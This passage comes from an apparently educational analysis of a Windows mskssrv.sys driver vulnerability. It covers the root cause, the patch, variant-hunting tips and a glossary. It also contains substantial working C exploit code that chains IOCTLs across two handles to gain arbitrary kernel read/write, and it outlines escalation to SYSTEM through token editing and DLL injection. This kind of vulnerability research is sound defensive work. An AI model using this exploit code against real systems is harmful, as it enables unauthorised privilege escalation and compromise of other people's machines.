*(_DWORD *)(FsStreamReg + 180) = *(_DWORD *)(data + 28);
*(_QWORD *)(FsStreamReg + 192) = 0i64;
*(_DWORD *)(FsStreamReg + 0x28) = 1;
*(_QWORD *)(FsStreamReg + 456) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
return v5;
}
Line by line: it sets up a list, records the current process, copies several values from the user data into the stream object, and sets the flag at 0x28 to 1. It also stores the file object for later use.
__int64 __fastcall FSStreamReg::Register(__int64 FsStreamReg, struct _IRP *a2, const struct _FSStreamRegInfo *a3, KPROCESSOR_MODE a4)
{
...
result = FSFrameMdlList::InitializeMdlList((FSFrameMdlList *)(FsStreamReg + 200), v9, a4);
if ( result < 0 )
return (unsigned int)result;
currentProc = IoGetCurrentProcess();
result = FSRegObject::SetRegProcess((FSRegObject *)FsStreamReg, currentProc);
if ( result < 0 )
return (unsigned int)result;
*(_DWORD *)(FsStreamReg + 0x98) |= 2u;
*(_QWORD *)(FsStreamReg + 0x1D0) = a2->Tail.Overlay.CurrentStackLocation->FileObject;
*(_DWORD *)(FsStreamReg + 0x2C) = 1;
return v4;
}
Line by line: it sets up another list, records the current process, sets a bit in a flags field, stores the file object, and sets the flag at 0x2C to 1.
FSStreamReg::Initialize runs as part of FSRendezvousServer::InitializeStream, which the proof of concept already calls. FSStreamReg::Register runs in FSRendezvousServer::RegisterStream, triggered with IOCTL 0x2F0420:
__int64 __fastcall FSRendezvousServer::RegisterStream(FSRendezvousServer *this, struct _IRP *a2)
{
obj = a2->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.Read.ByteOffset.LowPart != 0x2F0420 || obj->FileObject->FsContext2 )
return 0xC0000010;
data = (__int64)a2->AssociatedIrp.MasterIrp;
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
v11 = FSStreamReg::Register(FSStreamReg, a2, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
else
v11 = FSStreamReg::Register(FSStreamReg, (const struct _FSStreamRegInfo *)data, a2->RequestorMode);
}
Line by line: it refuses to run unless the IOCTL is 0x2F0420 and the file does not already have an FsContext2 value. It then calls FSStreamReg::Register with the user data.
That last condition is a problem. RegisterStream returns immediately if obj->FileObject->FsContext2 is not null, and that field was already filled in when the stream was created to trigger the bug. The same handle cannot be used twice. The fix is simple: open a second handle to the same device, because the file object is allocated per handle. One handle creates the stream, the other registers it.
Step 6: arbitrary read and write
The full sequence uses two handles. A client handle creates the stream and publishes the frame; a server handle registers the stream. The client then consumes the frame to map the MDL and reads the mapped address from the output buffer at offset 0x48:
hDeviceClient = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = 0;
*(DWORD64*)(inputBuffer + 0x10) = 0;
*(DWORD64*)(inputBuffer + 0x18) = 0;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(DWORD*)(inputBuffer + 0x1C) = 4;
*(DWORD*)(inputBuffer + 0x20) = 0x4000;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL);
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
hDeviceServer = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL);
printf("[+] Register Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff;
*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444;
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL);
ntstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
ULONG_PTR targetaddr = TARGET_ADDRESS;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/W\n");
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
*(DWORD*)(inputBuffer + 0x20) = 1;
*(DWORD*)(inputBuffer + 0x24) = 1;
*(DWORD*)(inputBuffer + 0x28) = 1;
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000;
*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr;
*(DWORD*)(inputBuffer + 0x6C) = 0x1000;
*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008;
ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL);
DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48);
printf("[*] mapaddr : %p\n", mapaddr);
Line by line: the client handle is opened, and the server object and stream are created on it exactly as in the proof of concept. A second handle, the server, is opened and used with code 0x2F0420 to register the stream, which sets the second flag. The client then publishes a frame pointing at TARGET_ADDRESS, with the map flag set to 0xffffffff00000008. Finally the client consumes the frame with code 0x2F0410, which maps the MDL, and the program reads the mapped address from the output buffer at offset 0x48. From that point on, reading and writing that address reads and writes the kernel memory the attacker chose.
With that primitive in hand, the authors say any preferred method can be used to gain higher privileges. In their full chain they enable the privilege bit in the token object and inject a malicious DLL into a process that already runs as SYSTEM, which gives code execution at the highest level. A token is the kernel object that records who a process is and what it is allowed to do; flipping a bit in it is like editing your own ID card to add a permission. They point to a BlackHat 2012 technique by Cerrudo for this step.
Root cause
The bug is a missing access-mode check. FsAllocAndLockMdl calls MmProbeAndLockPages with AccessMode set to KernelMode(0). In MiProbeAndLockPrepare, the range check that rejects addresses at or above 0x7FFFFFFF0000, and empty or reversed ranges, only runs when AccessMode is non-zero. Because the address and size passed to FsAllocAndLockMdl come straight from the user-supplied frame data copied into the kernel buffer, a user-mode caller can lock pages over kernel addresses. The MDL is then inserted into the stream's published list and later mapped by FSFrameMdl::MapPages, turning the lock into a mapping the caller can read and write through.
Impact
An attacker who can open the mskssrv.sys device and send the IOCTLs described above can obtain an arbitrary kernel read and write primitive from a normal user context, and from there elevate to SYSTEM. In the demonstrated chain this is the step that takes the attacker from user to SYSTEM before pivoting into the VMware vulnerability. The report does not state which Windows versions or configurations are affected; the only version detail it gives is the two ntoskrnl.exe builds used for the patch comparison.
Fix
The patch changes the access mode passed to MmProbeAndLockPages from KernelMode(0) to UserMode(1):
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
- MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
*mdl_object = Alloc_Mdl;
return 0;
}
Line by line: the only change is the second argument to MmProbeAndLockPages, from 0 to 1. With UserMode, the function checks that the address lies in user memory, that is below 0x7FFFFFFF0000, so kernel addresses supplied by the caller are rejected.
Variants to test
- Audit other kernel drivers that call
MmProbeAndLockPageswith a hard-codedKernelModeaccess mode while the address and size come from a user request. A positive result is a driver where a user-controlled address reachesIoAllocateMdlandMmProbeAndLockPageswithout an intervening probe, and where the resulting MDL is later mapped back to user-visible memory. - Look for IOCTL handlers that copy a fixed-size user structure into a kernel object and then use fields from that copy as allocation arguments, as
FSFrameMdl::AllocateMdldoes with the0x88-byte copy. A positive result is a field that reaches an address or length parameter without validation. - Check drivers that keep per-file state in
FsContext2and gate operations on membership in a server object. A positive result is a path where a second handle to the same device bypasses a one-time initialisation check, as withRegisterStreamrequiring a fresh file object. - Review MDL lifetime handling around publish and consume queues: an MDL locked over an attacker-chosen address and later mapped by a separate IOCTL is the pattern to look for. A positive result is a mapped address returned to the caller in an output buffer, as at offset
0x48here.
Glossary
- API: a documented way for one program to ask another piece of software to do something.
- Bugcheck: the crash screen Windows shows when the kernel hits an unrecoverable error; also called a blue screen.
- Call stack: the list of functions that were running when something happened, read from the most recent call back to the first.
- DeviceIoControl: the Windows API a program uses to send a request to a driver.
- DLL: a file containing code that other programs load and use.
- Driver: a program that runs in the kernel and talks to hardware or provides a system service.
- Exploit: a program that uses a bug to do something the attacker was not supposed to be able to do.
- FsContext2: a per-file value the driver stores so it can find the object associated with an open handle.
- GUID: a long identifier used to name a device or interface uniquely.
- Handle: a reference a program keeps to talk to a file, device or other object.
- IOCTL: the numeric code in a driver request that selects which operation to perform.
- Kernel: the most privileged part of the operating system, where drivers and core services run.
- KernelMode: an access mode meaning the address belongs to the kernel, which skips user-address checks.
- MDL (Memory Descriptor List): a structure that maps a range of virtual memory to the physical pages that hold it.
- Mutex: a lock that stops two threads from doing the same thing at the same time.
- N-day: a bug that is already publicly known and has a patch, as opposed to a zero-day.
- Pwn2Own: a security contest where researchers demonstrate exploits against real products.
- PoC (proof of concept): a small program that demonstrates a bug exists, without necessarily exploiting it fully.
- Primitive: a basic capability an exploit builds on, such as arbitrary read or write.
- Privilege: a permission a process has, such as the right to change system settings.
- Process: a running program, with its own memory and permissions.
- SYSTEM: the highest local account on Windows, used by the operating system itself.
- Token: the kernel object that records a process's identity and permissions.
- UserMode: an access mode meaning the address belongs to a normal program, which is checked against the user-memory boundary.
- Virtual and physical memory: programs see a smooth virtual address space, while the hardware stores data in separate physical pages.
- WinDbg: Microsoft's kernel and user-mode debugger.